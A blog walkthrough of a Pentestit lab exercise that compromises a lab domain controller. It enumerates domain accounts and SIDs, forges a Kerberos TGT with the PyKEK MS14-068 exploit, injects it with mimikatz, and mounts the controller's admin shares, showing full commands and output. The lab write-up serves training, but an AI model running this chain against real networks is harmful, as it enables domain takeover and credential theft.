In my previous post “Pentestit Lab v10 - WIN-TERM Token (11/13)”, we utilized our VPN tunnel to access the WIN-TERM machine via RDP, exploited the MS16-032 vulnerability to escalate our privileges to System, mounted an encrypted share via TrueCrypt, accessed a KeePass database, and found our eleventh token. Today we will utilize our WIN-TERM access to pivot into the WIN-DC0 machine and compromise the domain - which will include the following:
- Fingerprinting & Accessing the WIN-DC0 Machine
- Gathering Account & Domain Information
- Utilizing the MS14-068 Exploit to Forge a Kerberos TGT
- Finding the WIN-DC0 Token
Disclosure:
As mentioned in my previous post - please pay CLOSE attention to what is being done and what process is being followed. The technique and exploit used (MS14-068) are still viable in some Windows environments, and you will be using most - if not all - of what you learn today to leverage Admin/System credentials to compromise the Domain Controller during a pentest.
Secondly, any actions and or activities related to the material contained within this post is solely your responsibility. I am in no way responsible for the misuse of this information toward any illicit and illegal activities. The purpose of this blog is to teach “Ethical Hacking” and showcase my skills and knowledge. Please make sure any hacking activates are done in a closed lab with the proper written consent of the owner.
Fingerprinting & Accessing the WIN-DC0 Machine:
Alright, before we attempt to exploit the WIN-DC0 machine we need to fingerprint it first and see what kind of ports/services are open and running.
After running an Nmap scan, your results should be similar to mines.
Nmap scan report for 192.168.0.2
Host is up (0.00094s latency).
Not shown: 65516 filtered ports
PORT STATE SERVICE VERSION
53/tcp open domain Microsoft DNS 6.1.7601
88/tcp open kerberos-sec Windows 2003 Kerberos (server time: 2017-02-10 03:46:05Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn
389/tcp open ldap
445/tcp open netbios-ssn
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap
3269/tcp open tcpwrapped
3389/tcp open ms-wbt-server?
5722/tcp open msrpc Microsoft Windows RPC
9389/tcp open tcpwrapped
49153/tcp open msrpc Microsoft Windows RPC
49156/tcp open msrpc Microsoft Windows RPC
49157/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49158/tcp open msrpc Microsoft Windows RPC
49163/tcp open msrpc Microsoft Windows RPC
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 162.23 seconds
At first you might be a little overwhelmed with the wealth of information from the scan, but don’t fret - you just hit pay dirt!
Take a close look at the Nmap output. You can see that TCP/88 Kerberos and TCP/389 LDAP are open and running.
We can thus be certain that this is the DC, or the Domain Controller.
In this case, this is the PDC, or Primary Domain Controller. A Primary Domain Controller, is a server in a Windows NT network that maintains a read-write directory of user accounts and security information. The PDC authenticates usernames and passwords when members log into the network. Members only have to log into one domain to access all resources in the network.
So, if we are able to compromise the DC, then we basically have the keys to the kingdom and full control over the company’s domain.
Before we can get access to the WIN-DC0 machine, let’s start by setting up our VPN Tunnel via SShuttle.
root@kali:~# sshuttle -r e.lindsey@192.168.101.9 192.168.0.0/24
e.lindsey@192.168.101.9's password:
client: Connected.
Remember rross’s credentials that we compromised from KeePass? Let’s try using those to RDP into the WIN-DC0 Machine.
root@kali:~# rdesktop -u "GDS-OFFICE\\rross" -p wwDr6rte -r disk:share=/root/gds 192.168.0.2
Autoselected keyboard map en-us
ERROR: CredSSP: Initialize failed, do you have correct kerberos tgt initialized ?
Failed to connect, CredSSP required by server.
Oh what? We aren’t able to connect? Alright - don’t panic! Just remember to…
The error of “CredSSP required by server” means that WIN-DC0 will only allow connections from computers running remote desktop with network level authentication. At the same time, it requires us to use a Kerberos TGT or Ticket Granting Ticket for authenticated access.
Well okay, let’s just take a step back and RDP back into the WIN-TERM machine and work from there!
root@kali:~# rdesktop -u "GDS-OFFICE\\e.lindsey" -p Lindsey123 -r disk:share=/root/gds 192.168.0.3
Once you are logged in, and successfully connected - go ahead and open a Command Prompt.
Gathering Account & Domain Information:
Okay - this is where the real fun begins!
Before you jump into this section of the write-up, I suggest that you go watch the following video on Forging Kerberos Ticket-Granting Tickets (TGT) for Privilege Escalation and SEP Bypass.
You can also read the following blog post on Exploiting MS14-068 Vulnerable Domain Controllers Successfully with the Python Kerberos Exploitation Kit (PyKEK).
Since we already have access to the WIN-TERM machine, the first thing we want to do is run a net user command to see all the available users on the PDC (Primary Domain Controller).
C:\Users\e.lindsey>net user /Domain
The request will be processed at a domain controller for domain gds-office.lab.
User accounts for \\WIN-DC0.gds-office.lab
-------------------------------------------------------------------------------
a.modlin Administrator d.casper
e.lindsey e.magnusson g.leone
g.mcdonald g.oliva Guest
j.juneau j.wise k.barth
k.mccants k.torres krbtgt
m.cathcart m.hoffman m.howard
m.whelchel o.frazier p.thompson
r.breese s.locklear t.mcbride
w.mcconnel
The command completed successfully.
Well, it seems that rross isn’t on here - so we wouldn’t be able to connect with his credentials anyway. But, e.lindsey is a user of the domain so we can continue to leverage her credentials.
Next we will want to utilize the WMIC command to take control over the WMI. This will allow us to check user account information on the domain.
C:\Users\e.lindsey>wmic
wmic:root\cli>useraccount
AccountType Caption Description Disabled Domain FullName InstallDate LocalAccount Lockout Name PasswordChangeable PasswordExpires PasswordRequired SID SIDType Status
512 WIN-TERM\Administrator Built-in account for administering the computer/domain FALSE WIN-TERM TRUE FALSE Administrator TRUE TRUE TRUE S-1-5-21-421115581-889488229-2938181853-500 1 OK
512 WIN-TERM\Guest Built-in account for guest access to the computer/domain TRUE WIN-TERM TRUE FALSE Guest FALSE FALSE FALSE S-1-5-21-421115581-889488229-2938181853-501 1 Degraded
512 WIN-TERM\support-user FALSE WIN-TERM support-user TRUE FALSE support-user FALSE FALSE TRUE S-1-5-21-421115581-889488229-2938181853-1002 1 OK
512 GDS-OFFICE\Administrator Built-in account for administering the computer/domain FALSE GDS-OFFICE FALSE FALSE Administrator TRUE FALSE TRUE S-1-5-21-421115581-889488229-2938181853-500 1 OK
512 GDS-OFFICE\Guest Built-in account for guest access to the computer/domain TRUE GDS-OFFICE FALSE FALSE Guest FALSE FALSE FALSE S-1-5-21-421115581-889488229-2938181853-501 1 Degraded
512 GDS-OFFICE\krbtgt Key Distribution Center Service Account TRUE GDS-OFFICE FALSE FALSE krbtgt TRUE TRUE TRUE S-1-5-21-421115581-889488229-2938181853-502 1 Degraded
512 GDS-OFFICE\r.breese FALSE GDS-OFFICE Richard Breese FALSE FALSE r.breese TRUE FALSE TRUE S-1-5-21-421115581-889488229-2938181853-1103 1 OK
512 GDS-OFFICE\k.barth FALSE GDS-OFFICE Kenneth Barth FALSE FALSE k.barth TRUE FALSE TRUE S-1-5-21-421115581-889488229-2938181853-1104 1 OK
512 GDS-OFFICE\d.casper FALSE GDS-OFFICE Douglas Casper FALSE FALSE d.casper TRUE FALSE TRUE S-1-5-21-421115581-889488229-2938181853-1105 1 OK
512 GDS-OFFICE\m.howard FALSE GDS-OFFICE Michael Howard FALSE FALSE m.howard TRUE FALSE TRUE S-1-5-21-421115581-889488229-2938181853-1106 1 OK
512 GDS-OFFICE\w.mcconnel FALSE GDS-OFFICE Wallace McConnell FALSE FALSE w.mcconnel TRUE FALSE TRUE S-1-5-21-421115581-889488229-2938181853-1107 1 OK
512 GDS-OFFICE\m.whelchel FALSE GDS-OFFICE Michael Whelchel FALSE FALSE m.whelchel TRUE FALSE TRUE S-1-5-21-421115581-889488229-2938181853-1108 1 OK
512 GDS-OFFICE\m.cathcart FALSE GDS-OFFICE Michael Cathcart FALSE FALSE m.cathcart TRUE FALSE TRUE S-1-5-21-421115581-889488229-2938181853-1109 1 OK
512 GDS-OFFICE\g.mcdonald FALSE GDS-OFFICE Gregory McDonald FALSE FALSE g.mcdonald TRUE FALSE TRUE S-1-5-21-421115581-889488229-2938181853-1110 1 OK
512 GDS-OFFICE\m.hoffman FALSE GDS-OFFICE Micheal Hoffman FALSE FALSE m.hoffman TRUE FALSE TRUE S-1-5-21-421115581-889488229-2938181853-1111 1 OK
512 GDS-OFFICE\j.wise FALSE GDS-OFFICE Joshua Wise FALSE FALSE j.wise TRUE FALSE TRUE S-1-5-21-421115581-889488229-2938181853-1112 1 OK
512 GDS-OFFICE\g.leone FALSE GDS-OFFICE Gary Leone FALSE FALSE g.leone TRUE FALSE TRUE S-1-5-21-421115581-889488229-2938181853-1113 1 OK
512 GDS-OFFICE\o.frazier FALSE GDS-OFFICE Odell Frazier FALSE FALSE o.frazier TRUE FALSE TRUE S-1-5-21-421115581-889488229-2938181853-1114 1 OK
512 GDS-OFFICE\j.juneau FALSE GDS-OFFICE John Juneau FALSE FALSE j.juneau TRUE FALSE TRUE S-1-5-21-421115581-889488229-2938181853-1115 1 OK
512 GDS-OFFICE\a.modlin FALSE GDS-OFFICE Alfred Modlin FALSE FALSE a.modlin TRUE FALSE TRUE S-1-5-21-421115581-889488229-2938181853-1116 1 OK
512 GDS-OFFICE\t.mcbride FALSE GDS-OFFICE Thurman McBride FALSE FALSE t.mcbride TRUE FALSE TRUE S-1-5-21-421115581-889488229-2938181853-1117 1 OK
512 GDS-OFFICE\p.thompson FALSE GDS-OFFICE Philip Thompson FALSE FALSE p.thompson TRUE FALSE TRUE S-1-5-21-421115581-889488229-2938181853-1118 1 OK
512 GDS-OFFICE\s.locklear FALSE GDS-OFFICE Scott Locklear FALSE FALSE s.locklear TRUE FALSE TRUE S-1-5-21-421115581-889488229-2938181853-1119 1 OK
512 GDS-OFFICE\k.torres FALSE GDS-OFFICE Kevin Torres FALSE FALSE k.torres TRUE FALSE TRUE S-1-5-21-421115581-889488229-2938181853-1120 1 OK
512 GDS-OFFICE\k.mccants FALSE GDS-OFFICE Kirk McCants FALSE FALSE k.mccants TRUE FALSE TRUE S-1-5-21-421115581-889488229-2938181853-1121 1 OK
512 GDS-OFFICE\g.oliva FALSE GDS-OFFICE Gilberto Oliva FALSE FALSE g.oliva TRUE FALSE TRUE S-1-5-21-421115581-889488229-2938181853-1122 1 OK
512 GDS-OFFICE\e.magnusson FALSE GDS-OFFICE Edward Magnusson FALSE FALSE e.magnusson TRUE FALSE TRUE S-1-5-21-421115581-889488229-2938181853-1124 1 OK
512 GDS-OFFICE\e.lindsey FALSE GDS-OFFICE E L FALSE FALSE e.lindsey FALSE FALSE TRUE S-1-5-21-421115581-889488229-2938181853-1131 1 OK
Wow, that’s a ton of output. Let’s try to search just for e.lindsey’s user account information and pull her SID which we will need for forging a Kerberos TGT.
wmic:root\cli>useraccount where name="e.lindsey" get sid
SID
S-1-5-21-421115581-889488229-2938181853-1131
Utilizing the MS14-068 Exploit to Forge a Kerberos TGT:
Now that we have e.lindsey’s SID, we can go ahead and attempt to exploit MS14-068.
Some of you might be wondering on how I got to this assumption that MS14-068 is the viable exploit?
Well if you take a look back at the Nmap scan results - TCP/88 gives us the Kerberos Version.
88/tcp open kerberos-sec Windows 2003 Kerberos (server time: 2017-02-10 03:46:05Z)
Windows Server 2003 was one of the affected versions due to this vulnerability - and it’s widely possible that it hasn’t been patched!
For us to exploit this vulnerability we have to go ahead and install Pykek, or the Python Kerberos Exploitation Kit on our Kali machine.
root@kali:~/gds# git clone https://github.com/bidord/pykek.git
Cloning into 'pykek'...
remote: Counting objects: 94, done.
remote: Total 94 (delta 0), reused 0 (delta 0), pack-reused 94
Unpacking objects: 100% (94/94), done.
root@kali:~/gds# ls
39719.ps1 common.txt lindsey_hash port_force.py script.py
40637 dir_enum.py names.txt pykek small.txt
captcha.bak gds-authenticator.apk pass.txt rockyou.txt
root@kali:~/gds# cd pykek/
root@kali:~/gds/pykek# ls
kek ms14-068.py pyasn1 README.md
Once you got that installed and have navigated to the pykek folder, let’s go ahead and give ms14-068.py executable permissions, and then run the exploit!
root@kali:~/gds/pykek# chmod +x ms14-068.py
root@kali:~/gds/pykek# ./ms14-068.py -u e.lindsey@gds-office.lab -p Lindsey123 -s S-1-5-21-421115581-889488229-2938181853-1131 -d 192.168.0.2
[+] Building AS-REQ for 192.168.0.2... Done!
[+] Sending AS-REQ to 192.168.0.2... Done!
[+] Receiving AS-REP from 192.168.0.2... Done!
[+] Parsing AS-REP from 192.168.0.2... Done!
[+] Building TGS-REQ for 192.168.0.2... Done!
[+] Sending TGS-REQ to 192.168.0.2... Done!
[+] Receiving TGS-REP from 192.168.0.2... Done!
[+] Parsing TGS-REP from 192.168.0.2... Done!
[+] Creating ccache file 'TGT_e.lindsey@gds-office.lab.ccache'... Done!
root@kali:~/gds/pykek# ls
kek ms14-068.py pyasn1 README.md TGT_e.lindsey@gds-office.lab.ccache
After successfully running the exploit, you should see that a TGT was created for e.lindsey.
Now, for us to successfully utilize this TGT, we will need to use Mimikatz.
So let’s copy over the x64 version of Mimikatz from our Kali machine, along with the TGT to our mounted share on the WIN-TERM machine.
root@kali:~/gds/pykek# cp TGT_e.lindsey@gds-office.lab.ccache /root/gds
root@kali:~/gds/pykek# cd ..
root@kali:~/gds# cp -r /usr/share/mimikatz/x64/ /root/gds/
root@kali:~/gds# cp TGT_e.lindsey@gds-office.lab.ccache x64/
root@kali:~/gds# cd x64/
root@kali:~/gds/x64# ls
mimidrv.sys mimikatz.exe mimilib.dll TGT_e.lindsey@gds-office.lab.ccache
Once that’s completed, let’s return back to the WIN-TERM machine and see if everything is there.
Awesome! Now that everything is in place, let’s copy the x64 folder over to C:\share on the WIN-TERM machine.
After that’s done, let’s open up a Command Prompt and navigate to the x64 folder.
C:\Users\e.lindsey>cd \share
C:\share>dir
Volume in drive C has no label.
Volume Serial Number is 52A6-CE75
Directory of C:\share
02/09/2017 08:21 PM <DIR> .
02/09/2017 08:21 PM <DIR> ..
11/23/2016 08:21 AM 20,971,520 mywork_gds_disk
02/09/2017 08:21 PM <DIR> x64
1 File(s) 20,971,520 bytes
3 Dir(s) 19,953,479,680 bytes free
C:\share>cd x64
C:\share\x64>dir
Volume in drive C has no label.
Volume Serial Number is 52A6-CE75
Directory of C:\share\x64
02/09/2017 08:21 PM <DIR> .
02/09/2017 08:21 PM <DIR> ..
02/09/2017 08:15 PM 33,008 mimidrv.sys
02/09/2017 08:15 PM 727,552 mimikatz.exe
02/09/2017 08:15 PM 32,256 mimilib.dll
02/09/2017 08:19 PM 1,157 TGT_e.lindsey@gds-office.lab.ccache
4 File(s) 793,973 bytes
2 Dir(s) 19,953,479,680 bytes free
From here, we need to run the klist command and purge all the cached Kerberos Tickets to prevent issues when forging a new one.
C:\share\x64>klist purge
Current LogonId is 0:0x24096
Deleting all tickets:
Ticket(s) purged!
Once that has been completed and all Kerberos tickets are purged from cache, we can utilize Mimikatz to inject our forged Kerberos TGT to gain a valid TGS (Kerberos Service Ticket).
C:\share\x64>mimikatz.exe "Kerberos::ptc TGT_e.lindsey@gds-office.lab.ccache"
.#####. mimikatz 2.1 (x64) built on Nov 26 2016 02:28:33
.## ^ ##. "A La Vie, A L'Amour"
## / \ ## /* * *
## \ / ## Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
'## v ##' http://blog.gentilkiwi.com/mimikatz (oe.eo)
'#####' with 20 modules * * */
mimikatz(commandline) # Kerberos::ptc TGT_e.lindsey@gds-office.lab.ccache
Principal : (01) : e.lindsey ; @ GDS-OFFICE.LAB
Data 0
Start/End/MaxRenew: 2/9/2017 8:12:51 PM ; 2/10/2017 6:12:51 AM ; 2/16/2017 8:12:51 PM
Service Name (01) : krbtgt ; GDS-OFFICE.LAB ; @ GDS-OFFICE.LAB
Target Name (01) : krbtgt ; GDS-OFFICE.LAB ; @ GDS-OFFICE.LAB
Client Name (01) : e.lindsey ; @ GDS-OFFICE.LAB
Flags 50a00000 : pre_authent ; renewable ; proxiable ; forwardable ;
Session Key : 0x00000017 - rc4_hmac_nt
443f1a3d8f096a61b556551365bdf5ee
Ticket : 0x00000000 - null ; kvno = 2 [...]
* Injecting ticket : OK
mimikatz # exit
Bye!
Finding the WIN-DC0 Token:
Now that we have a valid TGS, let’s go ahead and use the net use command to mount the admin$ share of the WIN-DC0 machine, and then mount the C$ drive of the WIN-DC0 machine to the K network share.
C:\share\x64>net use \\WIN-DC0.gds-office.lab\admin$
The command completed successfully.
C:\share\x64>net use K: \\WIN-DC0.gds-office.lab\C$
The command completed successfully.
If we return to the WIN-TERM Machine, we can see that we have access to the WIN-DC0 C$ share.
After looking through the Admin Share, we will find the WIN-DC0 Token in the My Documents folder.
Token (12/13):
Congrats on finding the token! Go ahead and submit it on the main page to gain points for it!
You might be wondering why I didn’t post the actual token. Well, what would be the fun in that if I did? Go through and actually try to compromise the WIN-DC0 Machine via MS14-068 to get the token!
You learn by doing, so go through this walkthrough, and the lab - and learn something new!
That’s all for now, stay tuned for my next post as we compromise our final Token (13/13) - The Cloud Token!
Leave a Comment